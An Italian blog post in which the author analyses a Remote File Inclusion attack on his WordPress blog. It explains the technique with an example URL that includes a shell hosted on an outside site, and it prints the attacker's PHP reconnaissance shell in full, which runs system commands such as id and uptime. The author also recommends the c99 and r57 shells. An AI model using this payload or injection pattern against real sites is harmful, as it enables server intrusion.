Dopo l’attacco SQL Injection, avvenuto un paio di giorni fa un altro burlone (oppure sempre quello di prima) a partire dalle 4 e venti di questa notte si è divertito a fare un altro tipo di attacco, non del tutto differente dall’SQLI: un Remote File Inclusion
Ma è possibile che il mio blog è diventato così “famoso” da istigare attacchi di ogni tipo? Oppure il lamerozzo che mi fa questi scherzetti vuole migliorare le sue tecniche leggendo gli articoli che scrivo dopo i suoi attacchi 
???
Ma torniamo a noi: cos’è un Remote File Inclusion? Mentre per quanto riguarda SQLI l’obiettivo era quello di introdurre istruzioni malevole nelle query SQL, qua si tratta di introdurre codici malevoli (ovvero interi programmi) nelle variabili degli script in PHP.
Come forse saprai i moderni cms sono scritti tramite pagine in php che si richiamano tra di loro. Quando ti colleghi al mio sito infatti apri la pagina index.php, che a sua volta richiama la pagina /wp-content/themes/nome_tema/index.php, che a sua volta richiama l’header, la sidebar e il footer. Quindi vengono caricati i vari plugin: il contatore delle visite analizza il pacchetto http di richiesta e salva nel database alcuni dati, poi assieme alla sidebar si caricano altri plugin e infine vengono mostrate gli articoli e le immagini, che, di solito, si caricano più lentamente.
Il PHP è un vero e proprio linguaggio di programmazione a tutti gli effetti, con cui è possibile lanciare anche programmi da terminale, modificare e cancellare files, ecc… Perciò è possibile creare un interfaccia sfruttabile come pannello di controllo durante un attacco ad un sito web. Queste interfacce esistono, e si chiamano (php) shells. Quindi se si riesce a caricare una shell, darle i permessi di esecuzione (se il server, come il mio, gira sotto linux), e avviarla possiamo prendere il controllo del sito o addirittura di tutto il server. Il problema sarà appunto caricarla e darle i permessi.
Per quanto riguarda i permessi, esistono alcune cartelle di alcuni cms che dispongono già dei permessi di lettura-scrittura-esecuzione per funzionare, perciò se si carica la shell in queste cartelle, oppure si utilizza una shell non molto invasiva (come ha fatto il lamerozzo), il problema è risolto.
Per quanto riguarda l’upload, invece, bisogna sfruttare un bug nella programmazione in php: alcune pagine, invece di integrare direttamente nella sorgente il file o la pagina da includere, per essere molto più dinamici, lo leggono dall’url.
Ti porto un esempio: se inserisci nel tuo blog il modulo di ricerca di Google, quando ricerchi una parola non ti trovi più sul tuo blog ma su una pagina di google. Perciò, per rendere la ricerca uniforme col tema del tuo sito, potrai creare una pagina di inclusione, ovvero una pagina con lo stesso tema del tuo blog che richiama la pagina di ricerca di Google. Ma essendo le ricerche non standard è impossibile inserirle direttamente all’interno del codice sorgente del sito, perciò dovrai crere una pagina che, letta la parola da cercare includa la pagina di ricerca di Google:
In questo caso facciamo che la pagina da te creata sia “www.tuosito.com/search.php”
La parola da cercare sia “ciao”
Puoi programmare la pagina search.php in modo che includa la pagina con la funzione include, quindi, nel caso della ricerca di “ciao” la pagina di ricerca sarà :
www.tuosito.com/search.php?include=www.google.it/search?hl=it&q=ciao&btnG=Cerca+con+Google&meta=&aq=f&oq=
Non preoccuparti, i form di ricerca di Google non funzionano così, ho fatto solo un esempio.
Ma adesso se immettiamo al posto del link di ricerca di Google l’URL della nostra shell la pagina di ricerca ci mostrerà la nostra interfaccia di controllo! Ovvero:
www.tuosito.com/search.php?include=www.sitodellashell.com/miashell.txt
In questo modo abbiamo sfruttato un bug di programmazione per includere codice malevolo. Ho detto che il RFI era simile al SQLI perchè si sfrutta un bug di programmazione, quindi si parla sempre di exploit. Da notare che la shell situata nel fantomatico “sitodellashell.com” è in formato testo perchp se fosse in php verrebbe prima elaborata dal pharser del server “sitodellashell” che restituirebbe al pharser del “tuosito” il sorgente html (che mostrerebbe quindi i dati relativi al server “sitodellashell”), perciò col formato testo viene dato al “tuosito” il sorgente php che viene subito elaborato dal pharser correttamente.
Anche se sono abbastanza preparato riguardo il RFI (infatti ho condotto un po di attacchi per testare i cms del sito della mia scuola) non ti spiego altro in quanto è vero che Wordpress non è vulnerabile a questo tipo di attacco, ma io utilizzo un plugin che rende il mio cms vulnerabile solo a particolari attacchi di RFI. Il lamerozzo ovviamente non lo sapeva e ha testato direttamente la sicurezza di Wordpress (dimostrando la sua invulnerabilità ).
Per quanto riguarda invece gli strumenti usati, il burlone ha usato uno script o ha usato un browser in perl, che utilizza la libreria libwww, non ha usato proxy (o comunque ne ha usato uno “di 1° livello” che non ha offerto una buona protezione) e ha anche sbagliato a eseguire l’attacco (quindi posso affermare che non ha scaricato il primo script in perl e l’ha diretto verso il mio sito, in quanto un programma non buggato avrebbe almeno eseguito il comando a buon fine, senza fare errori di sintassi del linguaggio php!). La shell che invece ha usato è la seguente:
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os";
echo "uname -a: $alb";
echo "uptime: $alb2";
echo "id: $alb3";
echo "pwd: $alb4";
echo "user: $alb9";
echo "phpv: $alb6";
echo "SoftWare: $alb5";
echo "ServerName: $alb7";
echo "ServerAddr: $alb8";
exit;
?>
Se non te ne intendi ti spiego cosa fa la shell: praticamente mostra vari dati sul server del mio blog (proprietario, sistema operativo, versione del kernel), sul webserver(versione, uptime, servizi installati), sui livelli di protezione(utente che esegue il server) e sugli indirizzi (hostname, ip). Una shell proprio banale e non invasiva. Di shell ne esistono a bizzeffe (anche di migliori, che senza i permessi di esecuzione possono essere usati per attaccare il server). Le mie preferite sono la c99 (la shell dell’immagine di apertura) prima di tutto, e la r57 (cercale con Google, se le vuoi provare).
In un prossimo articolo descriverò come funziona la c99 e cosa si può fare con quest’utlima.
Al prosimo articolo/attacco!
Loading ...
